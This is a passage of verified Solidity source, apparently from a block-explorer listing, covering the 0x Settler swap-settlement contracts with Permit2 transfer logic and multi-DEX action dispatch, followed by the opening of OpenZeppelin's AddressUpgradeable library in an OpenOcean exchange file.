ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, address from, bytes32 witness, string memory witnessTypeString, bytes memory sig, bool isForwarded ) internal override { if (isForwarded) { assembly ("memory-safe") { mstore(0x00, 0x1c500e5c) // selector for `ForwarderNotAllowed()` revert(0x1c, 0x04) } } // This is effectively /* _PERMIT2.permitWitnessTransferFrom(permit, transferDetails, from, witness, witnessTypeString, sig); */ // but it's written in assembly for contract size reasons. This produces a non-strict ABI // encoding (https://docs.soliditylang.org/en/v0.8.25/abi-spec.html#strict-encoding-mode), // but it's fine because Solidity's ABI *decoder* will handle anything that is validly // encoded, strict or not. // Solidity won't let us reference the constant `_PERMIT2` in assembly, but this compiles // down to just a single PUSH opcode just before the CALL, with optimization turned on. ISignatureTransfer __PERMIT2 = _PERMIT2; assembly ("memory-safe") { let ptr := mload(0x40) mstore(ptr, 0x137c29fe) // selector for `permitWitnessTransferFrom(((address,uint256),uint256,uint256),(address,uint256),address,bytes32,string,bytes)` // The layout of nested structs in memory is different from that in calldata. We have to // chase the pointer to `permit.permitted`. mcopy(add(0x20, ptr), mload(permit), 0x40) // The rest of the members of `permit` are laid out linearly, mcopy(add(0x60, ptr), add(0x20, permit), 0x40) // as are the members of `transferDetails. mcopy(add(0xa0, ptr), transferDetails, 0x40) // Because we're passing `from` on the stack, it must be cleaned. mstore(add(0xe0, ptr), and(0xffffffffffffffffffffffffffffffffffffffff, from)) mstore(add(0x100, ptr), witness) mstore(add(0x120, ptr), 0x140) // Offset to `witnessTypeString` (the end of of the non-dynamic types) let witnessTypeStringLength := mload(witnessTypeString) mstore(add(0x140, ptr), add(0x160, witnessTypeStringLength)) // Offset to `sig` (past the end of `witnessTypeString`) // Now we encode the 2 dynamic objects, `witnessTypeString` and `sig`. mcopy(add(0x160, ptr), witnessTypeString, add(0x20, witnessTypeStringLength)) let sigLength := mload(sig) mcopy(add(0x180, add(ptr, witnessTypeStringLength)), sig, add(0x20, sigLength)) // We don't need to check that Permit2 has code, and it always signals failure by // reverting. if iszero( call( gas(), __PERMIT2, 0x00, add(0x1c, ptr), add(0x184, add(witnessTypeStringLength, sigLength)), 0x00, 0x00 ) ) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } } } // See comment in above overload; don't use this function function _transferFromIKnowWhatImDoing( ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, address from, bytes32 witness, string memory witnessTypeString, bytes memory sig ) internal override { _transferFromIKnowWhatImDoing(permit, transferDetails, from, witness, witnessTypeString, sig, _isForwarded()); } function _transferFrom( ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, bytes memory sig ) internal override { _transferFrom(permit, transferDetails, sig, _isForwarded()); } } // DANGER: the order of the base contracts here is very significant for the use of `super` below // (and in derived contracts). Do not change this order. abstract contract Permit2PaymentTakerSubmitted is AllowanceHolderContext, Permit2Payment { using FullMath for uint256; using SafeTransferLib for IERC20; constructor() { assert(!_hasMetaTxn()); } function _permitToSellAmountCalldata(ISignatureTransfer.PermitTransferFrom calldata permit) internal view override returns (uint256 sellAmount) { sellAmount = permit.permitted.amount; if (sellAmount > type(uint256).max - BASIS) { unchecked { sellAmount -= type(uint256).max - BASIS; } sellAmount = IERC20(permit.permitted.token).fastBalanceOf(_msgSender()).mulDiv(sellAmount, BASIS); } } function _permitToSellAmount(ISignatureTransfer.PermitTransferFrom memory permit) internal view override returns (uint256 sellAmount) { sellAmount = permit.permitted.amount; if (sellAmount > type(uint256).max - BASIS) { unchecked { sellAmount -= type(uint256).max - BASIS; } sellAmount = IERC20(permit.permitted.token).fastBalanceOf(_msgSender()).mulDiv(sellAmount, BASIS); } } function _isRestrictedTarget(address target) internal pure virtual override returns (bool) { return target == address(_ALLOWANCE_HOLDER) || super._isRestrictedTarget(target); } function _transferFrom( ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, bytes memory sig, bool isForwarded ) internal override { if (isForwarded) { if (sig.length != 0) { assembly ("memory-safe") { mstore(0x00, 0xc321526c) // selector for `InvalidSignatureLen()` revert(0x1c, 0x04) } } if (permit.nonce != 0) Panic.panic(Panic.ARITHMETIC_OVERFLOW); if (block.timestamp > permit.deadline) { assembly ("memory-safe") { mstore(0x00, 0xcd21db4f) // selector for `SignatureExpired(uint256)` mstore(0x20, mload(add(0x40, permit))) revert(0x1c, 0x24) } } // we don't check `requestedAmount` because it's checked by AllowanceHolder itself _allowanceHolderTransferFrom( permit.permitted.token, _msgSender(), transferDetails.to, transferDetails.requestedAmount ); } else { // This is effectively /* _PERMIT2.permitTransferFrom(permit, transferDetails, _msgSender(), sig); */ // but it's written in assembly for contract size reasons. This produces a non-strict // ABI encoding // (https://docs.soliditylang.org/en/v0.8.25/abi-spec.html#strict-encoding-mode), but // it's fine because Solidity's ABI *decoder* will handle anything that is validly // encoded, strict or not. // Solidity won't let us reference the constant `_PERMIT2` in assembly, but this // compiles down to just a single PUSH opcode just before the CALL, with optimization // turned on. ISignatureTransfer __PERMIT2 = _PERMIT2; address from = _msgSender(); assembly ("memory-safe") { let ptr := mload(0x40) mstore(ptr, 0x30f28b7a) // selector for `permitTransferFrom(((address,uint256),uint256,uint256),(address,uint256),address,bytes)` // The layout of nested structs in memory is different from that in calldata. We // have to chase the pointer to `permit.permitted`. mcopy(add(0x20, ptr), mload(permit), 0x40) // The rest of the members of `permit` are laid out linearly, mcopy(add(0x60, ptr), add(0x20, permit), 0x40) // as are the members of `transferDetails. mcopy(add(0xa0, ptr), transferDetails, 0x40) // Because we're passing `from` on the stack, it must be cleaned. mstore(add(0xe0, ptr), and(0xffffffffffffffffffffffffffffffffffffffff, from)) mstore(add(0x100, ptr), 0x100) // Offset to `sig` (the end of the non-dynamic types) // Encode the dynamic object `sig` let sigLength := mload(sig) mcopy(add(0x120, ptr), sig, add(0x20, sigLength)) // We don't need to check that Permit2 has code, and it always signals failure by // reverting. if iszero(call(gas(), __PERMIT2, 0x00, add(0x1c, ptr), add(0x124, sigLength), 0x00, 0x00)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } } } } function _allowanceHolderTransferFrom(address token, address owner, address recipient, uint256 amount) internal override { // `owner` is always `_msgSender()` // This is effectively /* _ALLOWANCE_HOLDER.transferFrom(token, owner, recipient, amount); */ // but it's written in assembly for contract size reasons. // Solidity won't let us reference the constant `_ALLOWANCE_HOLDER` in assembly, but this // compiles down to just a single PUSH opcode just before the CALL, with optimization turned // on. address __ALLOWANCE_HOLDER = address(_ALLOWANCE_HOLDER); assembly ("memory-safe") { let ptr := mload(0x40) mstore(add(0x80, ptr), amount) mstore(add(0x60, ptr), recipient) mstore(add(0x4c, ptr), shl(0x60, owner)) // clears `recipient`'s padding mstore(add(0x2c, ptr), shl(0x60, token)) // clears `owner`'s padding mstore(add(0x0c, ptr), 0x15dacbea000000000000000000000000) // selector for `transferFrom(address,address,address,uint256)` with `token`'s padding // Although `transferFrom` returns `bool`, we don't need to bother checking the return // value because `AllowanceHolder` always either reverts or returns `true`. We also // don't need to check that it has code. if iszero(call(gas(), __ALLOWANCE_HOLDER, 0x00, add(0x1c, ptr), 0x84, 0x00, 0x00)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } } } modifier takerSubmitted() override { address msgSender = _operator(); TransientStorage.setPayer(msgSender); _; TransientStorage.clearPayer(msgSender); } modifier metaTx(address, bytes32) override { revert(); _; } // Solidity inheritance is stupid function _isForwarded() internal view virtual override(AbstractContext, Context, AllowanceHolderContext) returns (bool) { return super._isForwarded(); } function _msgData() internal view virtual override(AbstractContext, Context, AllowanceHolderContext) returns (bytes calldata) { return super._msgData(); } function _msgSender() internal view virtual override(AllowanceHolderContext, Permit2PaymentBase) returns (address) { return super._msgSender(); } } // DANGER: the order of the base contracts here is very significant for the use of `super` below // (and in derived contracts). Do not change this order. abstract contract Permit2PaymentMetaTxn is Context, Permit2Payment { constructor() { assert(_hasMetaTxn()); } function _permitToSellAmountCalldata(ISignatureTransfer.PermitTransferFrom calldata permit) internal pure override returns (uint256) { return permit.permitted.amount; } function _permitToSellAmount(ISignatureTransfer.PermitTransferFrom memory permit) internal pure virtual override returns (uint256) { return permit.permitted.amount; } function _witnessTypeSuffix() internal pure virtual returns (string memory) { return string( abi.encodePacked( "SlippageAndActions slippageAndActions)", SLIPPAGE_AND_ACTIONS_TYPE, TOKEN_PERMISSIONS_TYPE ) ); } function _transferFrom( ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, bytes memory sig, bool isForwarded // must be false ) internal override { bytes32 witness = TransientStorage.getAndClearWitness(); if (witness == bytes32(0)) { assembly ("memory-safe") { mstore(0x00, 0xe758b8d5) // selector for `ConfusedDeputy()` revert(0x1c, 0x04) } } _transferFromIKnowWhatImDoing( permit, transferDetails, _msgSender(), witness, _witnessTypeSuffix(), sig, isForwarded ); } function _allowanceHolderTransferFrom(address, address, address, uint256) internal pure override { assembly ("memory-safe") { mstore(0x00, 0xe758b8d5) // selector for `ConfusedDeputy()` revert(0x1c, 0x04) } } modifier takerSubmitted() override { revert(); _; } modifier metaTx(address msgSender, bytes32 witness) override { if (_isForwarded()) { assembly ("memory-safe") { mstore(0x00, 0x1c500e5c) // selector for `ForwarderNotAllowed()` revert(0x1c, 0x04) } } TransientStorage.setWitness(witness); TransientStorage.setPayer(msgSender); _; TransientStorage.clearPayer(msgSender); // It should not be possible for this check to revert because the very first thing that a // metatransaction does is spend the witness. TransientStorage.checkSpentWitness(); } // Solidity inheritance is stupid function _msgSender() internal view virtual override(Context, Permit2PaymentBase) returns (address) { return super._msgSender(); } } abstract contract Permit2PaymentIntent is Permit2PaymentMetaTxn { function _witnessTypeSuffix() internal pure virtual override returns (string memory) { return string(abi.encodePacked("Slippage slippage)", SLIPPAGE_TYPE, TOKEN_PERMISSIONS_TYPE)); } } // src/SettlerBase.sol /// @dev This library's ABIDeocding is more lax than the Solidity ABIDecoder. This library omits index bounds/overflow /// checking when accessing calldata arrays for gas efficiency. It also omits checks against `calldatasize()`. This /// means that it is possible that `args` will run off the end of calldata and be implicitly padded with zeroes. That we /// don't check for overflow means that offsets can be negative. This can also result in `args` that alias other parts /// of calldata, or even the `actions` array itself. library CalldataDecoder { function decodeCall(bytes[] calldata data, uint256 i) internal pure returns (uint256 selector, bytes calldata args) { assembly ("memory-safe") { // initially, we set `args.offset` to the pointer to the length. this is 32 bytes before the actual start of data args.offset := add( data.offset, // We allow the indirection/offset to `calls[i]` to be negative calldataload( add(shl(0x05, i), data.offset) // can't overflow; we assume `i` is in-bounds ) ) // now we load `args.length` and set `args.offset` to the start of data args.length := calldataload(args.offset) args.offset := add(0x20, args.offset) // slice off the first 4 bytes of `args` as the selector selector := shr(0xe0, calldataload(args.offset)) args.length := sub(args.length, 0x04) args.offset := add(0x04, args.offset) } } } abstract contract SettlerBase is ISettlerBase, Basic, RfqOrderSettlement, UniswapV3Fork, UniswapV2, Velodrome { using SafeTransferLib for IERC20; using SafeTransferLib for address payable; receive() external payable {} event GitCommit(bytes20 indexed); // When/if you change this, you must make corresponding changes to // `sh/deploy_new_chain.sh` and 'sh/common_deploy_settler.sh' to set // `constructor_args`. constructor(bytes20 gitCommit) { if (block.chainid != 31337) { emit GitCommit(gitCommit); assert(IERC721Owner(DEPLOYER).ownerOf(_tokenId()) == address(this)); } else { assert(gitCommit == bytes20(0)); } } function _div512to256(uint512 n, uint512 d) internal view virtual override returns (uint256) { return n.div(d); } function _mandatorySlippageCheck() internal pure virtual returns (bool) { return false; } function _checkSlippageAndTransfer(AllowedSlippage calldata slippage) internal { // This final slippage check effectively prohibits custody optimization on the // final hop of every swap. This is gas-inefficient. This is on purpose. Because // ISettlerActions.BASIC could interact with an intents-based settlement // mechanism, we must ensure that the user's want token increase is coming // directly from us instead of from some other form of exchange of value. (address payable recipient, IERC20 buyToken, uint256 minAmountOut) = (slippage.recipient, slippage.buyToken, slippage.minAmountOut); if (_mandatorySlippageCheck()) { require(minAmountOut != 0); } else if (minAmountOut == 0 && address(buyToken) == address(0)) { return; } if (buyToken == ETH_ADDRESS) { uint256 amountOut = address(this).balance; if (amountOut < minAmountOut) { revertTooMuchSlippage(buyToken, minAmountOut, amountOut); } recipient.safeTransferETH(amountOut); } else { uint256 amountOut = buyToken.fastBalanceOf(address(this)); if (amountOut < minAmountOut) { revertTooMuchSlippage(buyToken, minAmountOut, amountOut); } buyToken.safeTransfer(recipient, amountOut); } } function _dispatch(uint256, uint256 action, bytes calldata data) internal virtual override returns (bool) { //// NOTICE: This function has been largely copy/paste'd into //// `src/chains/Mainnet/Common.sol:MainnetMixin._dispatch`. If you make changes here, you //// need to make sure that corresponding changes are made to that function. if (action == uint32(ISettlerActions.RFQ.selector)) { ( address recipient, ISignatureTransfer.PermitTransferFrom memory permit, address maker, bytes memory makerSig, IERC20 takerToken, uint256 maxTakerAmount ) = abi.decode(data, (address, ISignatureTransfer.PermitTransferFrom, address, bytes, IERC20, uint256)); fillRfqOrderSelfFunded(recipient, permit, maker, makerSig, takerToken, maxTakerAmount); } else if (action == uint32(ISettlerActions.UNISWAPV3.selector)) { (address recipient, uint256 bps, bytes memory path, uint256 amountOutMin) = abi.decode(data, (address, uint256, bytes, uint256)); sellToUniswapV3(recipient, bps, path, amountOutMin); } else if (action == uint32(ISettlerActions.UNISWAPV2.selector)) { (address recipient, address sellToken, uint256 bps, address pool, uint24 swapInfo, uint256 amountOutMin) = abi.decode(data, (address, address, uint256, address, uint24, uint256)); sellToUniswapV2(recipient, sellToken, bps, pool, swapInfo, amountOutMin); } else if (action == uint32(ISettlerActions.BASIC.selector)) { (IERC20 sellToken, uint256 bps, address pool, uint256 offset, bytes memory _data) = abi.decode(data, (IERC20, uint256, address, uint256, bytes)); basicSellToPool(sellToken, bps, pool, offset, _data); } else if (action == uint32(ISettlerActions.VELODROME.selector)) { (address recipient, uint256 bps, IVelodromePair pool, uint24 swapInfo, uint256 minAmountOut) = abi.decode(data, (address, uint256, IVelodromePair, uint24, uint256)); sellToVelodrome(recipient, bps, pool, swapInfo, minAmountOut); } else if (action == uint32(ISettlerActions.POSITIVE_SLIPPAGE.selector)) { (address payable recipient, IERC20 token, uint256 expectedAmount) = abi.decode(data, (address, IERC20, uint256)); if (token == ETH_ADDRESS) { uint256 balance = address(this).balance; if (balance > expectedAmount) { unchecked { recipient.safeTransferETH(balance - expectedAmount); } } } else { uint256 balance = token.fastBalanceOf(address(this)); if (balance > expectedAmount) { unchecked { token.safeTransfer(recipient, balance - expectedAmount); } } } } else { return false; } return true; } } // src/Settler.sol abstract contract Settler is ISettlerTakerSubmitted, Permit2PaymentTakerSubmitted, SettlerBase { using UnsafeMath for uint256; using CalldataDecoder for bytes[]; function _tokenId() internal pure override returns (uint256) { return 2; } function _hasMetaTxn() internal pure override returns (bool) { return false; } function _dispatchVIP(uint256 action, bytes calldata data) internal virtual returns (bool) { if (action == uint32(ISettlerActions.TRANSFER_FROM.selector)) { (address recipient, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig) = abi.decode(data, (address, ISignatureTransfer.PermitTransferFrom, bytes)); (ISignatureTransfer.SignatureTransferDetails memory transferDetails,) = _permitToTransferDetails(permit, recipient); _transferFrom(permit, transferDetails, sig); } /* // RFQ_VIP is temporarily removed because Solver has no support for it // When support for RFQ_VIP is reenabled, the tests // testAllowanceHolder_rfq_VIP and testSettler_rfq should be reenabled else if (action == uint32(ISettlerActions.RFQ_VIP.selector)) { ( address recipient, ISignatureTransfer.PermitTransferFrom memory makerPermit, address maker, bytes memory makerSig, ISignatureTransfer.PermitTransferFrom memory takerPermit, bytes memory takerSig ) = abi.decode( data, ( address, ISignatureTransfer.PermitTransferFrom, address, bytes, ISignatureTransfer.PermitTransferFrom, bytes ) ); fillRfqOrderVIP(recipient, makerPermit, maker, makerSig, takerPermit, takerSig); } */ else if (action == uint32(ISettlerActions.UNISWAPV3_VIP.selector)) { ( address recipient, bytes memory path, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) = abi.decode(data, (address, bytes, ISignatureTransfer.PermitTransferFrom, bytes, uint256)); sellToUniswapV3VIP(recipient, path, permit, sig, amountOutMin); } else { return false; } return true; } function execute(AllowedSlippage calldata slippage, bytes[] calldata actions, bytes32 /* zid & affiliate */ ) public payable override takerSubmitted returns (bool) { if (actions.length != 0) { (uint256 action, bytes calldata data) = actions.decodeCall(0); if (!_dispatchVIP(action, data)) { if (!_dispatch(0, action, data)) { revertActionInvalid(0, action, data); } } } for (uint256 i = 1; i < actions.length; i = i.unsafeInc()) { (uint256 action, bytes calldata data) = actions.decodeCall(i); if (!_dispatch(i, action, data)) { revertActionInvalid(i, action, data); } } _checkSlippageAndTransfer(slippage); return true; } // Solidity inheritance is stupid function _msgSender() internal view virtual override(Permit2PaymentTakerSubmitted, AbstractContext) returns (address) { return super._msgSender(); } function _isRestrictedTarget(address target) internal pure virtual override(Permit2PaymentTakerSubmitted, Permit2PaymentAbstract) returns (bool) { return super._isRestrictedTarget(target); } } // src/chains/Mainnet/Common.sol // When these actions are reenabled, reenable the integration tests by setting `curveV2TricryptoPoolId()` // import {CurveTricrypto} from "../../core/CurveTricrypto.sol"; // Solidity inheritance is stupid abstract contract MainnetMixin is FreeMemory, SettlerBase, MakerPSM, MaverickV2, //CurveTricrypto, DodoV1, DodoV2, UniswapV4, BalancerV3, Ekubo { using SafeTransferLib for IERC20; using SafeTransferLib for address payable; constructor() { assert(block.chainid == 1 || block.chainid == 31337); } function _dispatch(uint256, uint256 action, bytes calldata data) internal virtual override(SettlerAbstract, SettlerBase) DANGEROUS_freeMemory returns (bool) { //// NOTICE: we re-implement the base `_dispatch` implementation here so that we can remove //// the `VELODROME` action JUST on this chain because it does little-to-no volume. if (action == uint32(ISettlerActions.RFQ.selector)) { ( address recipient, ISignatureTransfer.PermitTransferFrom memory permit, address maker, bytes memory makerSig, IERC20 takerToken, uint256 maxTakerAmount ) = abi.decode(data, (address, ISignatureTransfer.PermitTransferFrom, address, bytes, IERC20, uint256)); fillRfqOrderSelfFunded(recipient, permit, maker, makerSig, takerToken, maxTakerAmount); } else if (action == uint32(ISettlerActions.UNISWAPV3.selector)) { (address recipient, uint256 bps, bytes memory path, uint256 amountOutMin) = abi.decode(data, (address, uint256, bytes, uint256)); sellToUniswapV3(recipient, bps, path, amountOutMin); } else if (action == uint32(ISettlerActions.UNISWAPV2.selector)) { (address recipient, address sellToken, uint256 bps, address pool, uint24 swapInfo, uint256 amountOutMin) = abi.decode(data, (address, address, uint256, address, uint24, uint256)); sellToUniswapV2(recipient, sellToken, bps, pool, swapInfo, amountOutMin); } else if (action == uint32(ISettlerActions.BASIC.selector)) { (IERC20 sellToken, uint256 bps, address pool, uint256 offset, bytes memory _data) = abi.decode(data, (IERC20, uint256, address, uint256, bytes)); basicSellToPool(sellToken, bps, pool, offset, _data); } /* `VELODROME` is removed */ else if (action == uint32(ISettlerActions.POSITIVE_SLIPPAGE.selector)) { (address recipient, IERC20 token, uint256 expectedAmount) = abi.decode(data, (address, IERC20, uint256)); if (token == ETH_ADDRESS) { uint256 balance = address(this).balance; if (balance > expectedAmount) { unchecked { payable(recipient).safeTransferETH(balance - expectedAmount); } } } else { uint256 balance = token.fastBalanceOf(address(this)); if (balance > expectedAmount) { unchecked { token.safeTransfer(recipient, balance - expectedAmount); } } } } else if (action == uint32(ISettlerActions.UNISWAPV4.selector)) { ( address recipient, IERC20 sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) = abi.decode(data, (address, IERC20, uint256, bool, uint256, uint256, bytes, uint256)); sellToUniswapV4(recipient, sellToken, bps, feeOnTransfer, hashMul, hashMod, fills, amountOutMin); } else if (action == uint32(ISettlerActions.MAKERPSM.selector)) { (address recipient, uint256 bps, bool buyGem, uint256 amountOutMin) = abi.decode(data, (address, uint256, bool, uint256)); sellToMakerPsm(recipient, bps, buyGem, amountOutMin); } else if (action == uint32(ISettlerActions.BALANCERV3.selector)) { ( address recipient, IERC20 sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) = abi.decode(data, (address, IERC20, uint256, bool, uint256, uint256, bytes, uint256)); sellToBalancerV3(recipient, sellToken, bps, feeOnTransfer, hashMul, hashMod, fills, amountOutMin); } else if (action == uint32(ISettlerActions.MAVERICKV2.selector)) { ( address recipient, IERC20 sellToken, uint256 bps, IMaverickV2Pool pool, bool tokenAIn, uint256 minBuyAmount ) = abi.decode(data, (address, IERC20, uint256, IMaverickV2Pool, bool, uint256)); sellToMaverickV2(recipient, sellToken, bps, pool, tokenAIn, minBuyAmount); } else if (action == uint32(ISettlerActions.EKUBO.selector)) { ( address recipient, IERC20 sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) = abi.decode(data, (address, IERC20, uint256, bool, uint256, uint256, bytes, uint256)); sellToEkubo(recipient, sellToken, bps, feeOnTransfer, hashMul, hashMod, fills, amountOutMin); } else if (action == uint32(ISettlerActions.DODOV2.selector)) { (address recipient, IERC20 sellToken, uint256 bps, IDodoV2 dodo, bool quoteForBase, uint256 minBuyAmount) = abi.decode(data, (address, IERC20, uint256, IDodoV2, bool, uint256)); sellToDodoV2(recipient, sellToken, bps, dodo, quoteForBase, minBuyAmount); } else if (action == uint32(ISettlerActions.DODOV1.selector)) { (IERC20 sellToken, uint256 bps, IDodoV1 dodo, bool quoteForBase, uint256 minBuyAmount) = abi.decode(data, (IERC20, uint256, IDodoV1, bool, uint256)); sellToDodoV1(sellToken, bps, dodo, quoteForBase, minBuyAmount); } else { return false; } return true; } function _uniV3ForkInfo(uint8 forkId) internal pure override returns (address factory, bytes32 initHash, uint32 callbackSelector) { if (forkId == uniswapV3ForkId) { factory = uniswapV3MainnetFactory; initHash = uniswapV3InitHash; callbackSelector = uint32(IUniswapV3Callback.uniswapV3SwapCallback.selector); } else if (forkId == pancakeSwapV3ForkId) { factory = pancakeSwapV3Factory; initHash = pancakeSwapV3InitHash; callbackSelector = uint32(IPancakeSwapV3Callback.pancakeV3SwapCallback.selector); } else if (forkId == sushiswapV3ForkId) { factory = sushiswapV3MainnetFactory; initHash = uniswapV3InitHash; callbackSelector = uint32(IUniswapV3Callback.uniswapV3SwapCallback.selector); } else if (forkId == solidlyV3ForkId) { factory = solidlyV3Factory; initHash = solidlyV3InitHash; callbackSelector = uint32(ISolidlyV3Callback.solidlyV3SwapCallback.selector); } else { revertUnknownForkId(forkId); } } /* function _curveFactory() internal pure override returns (address) { return 0x0c0e5f2fF0ff18a3be9b835635039256dC4B4963; } */ function _POOL_MANAGER() internal pure override returns (IPoolManager) { return MAINNET_POOL_MANAGER; } } // src/chains/Mainnet/TakerSubmitted.sol // Solidity inheritance is stupid /// @custom:security-contact [email protected] contract MainnetSettler is Settler, MainnetMixin { constructor(bytes20 gitCommit) SettlerBase(gitCommit) {} function _dispatchVIP(uint256 action, bytes calldata data) internal override DANGEROUS_freeMemory returns (bool) { if (super._dispatchVIP(action, data)) { return true; } else if (action == uint32(ISettlerActions.UNISWAPV4_VIP.selector)) { ( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) = abi.decode( data, (address, bool, uint256, uint256, bytes, ISignatureTransfer.PermitTransferFrom, bytes, uint256) ); sellToUniswapV4VIP(recipient, feeOnTransfer, hashMul, hashMod, fills, permit, sig, amountOutMin); } else if (action == uint32(ISettlerActions.BALANCERV3_VIP.selector)) { ( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) = abi.decode( data, (address, bool, uint256, uint256, bytes, ISignatureTransfer.PermitTransferFrom, bytes, uint256) ); sellToBalancerV3VIP(recipient, feeOnTransfer, hashMul, hashMod, fills, permit, sig, amountOutMin); } else if (action == uint32(ISettlerActions.MAVERICKV2_VIP.selector)) { ( address recipient, bytes32 salt, bool tokenAIn, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 minBuyAmount ) = abi.decode(data, (address, bytes32, bool, ISignatureTransfer.PermitTransferFrom, bytes, uint256)); sellToMaverickV2VIP(recipient, salt, tokenAIn, permit, sig, minBuyAmount); } else if (action == uint32(ISettlerActions.EKUBO_VIP.selector)) { ( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) = abi.decode( data, (address, bool, uint256, uint256, bytes, ISignatureTransfer.PermitTransferFrom, bytes, uint256) ); sellToEkuboVIP(recipient, feeOnTransfer, hashMul, hashMod, fills, permit, sig, amountOutMin); } /* else if (action == uint32(ISettlerActions.CURVE_TRICRYPTO_VIP.selector)) { ( address recipient, uint80 poolInfo, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 minBuyAmount ) = abi.decode(data, (address, uint80, ISignatureTransfer.PermitTransferFrom, bytes, uint256)); sellToCurveTricryptoVIP(recipient, poolInfo, permit, sig, minBuyAmount); } */ else { return false; } return true; } // Solidity inheritance is stupid function _isRestrictedTarget(address target) internal pure override(Settler, Permit2PaymentAbstract) returns (bool) { return super._isRestrictedTarget(target); } function _dispatch(uint256 i, uint256 action, bytes calldata data) internal override(SettlerAbstract, SettlerBase, MainnetMixin) returns (bool) { return super._dispatch(i, action, data); } function _msgSender() internal view override(Settler, AbstractContext) returns (address) { return super._msgSender(); } }
File 6 of 6: OpenOceanExchange
// File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address 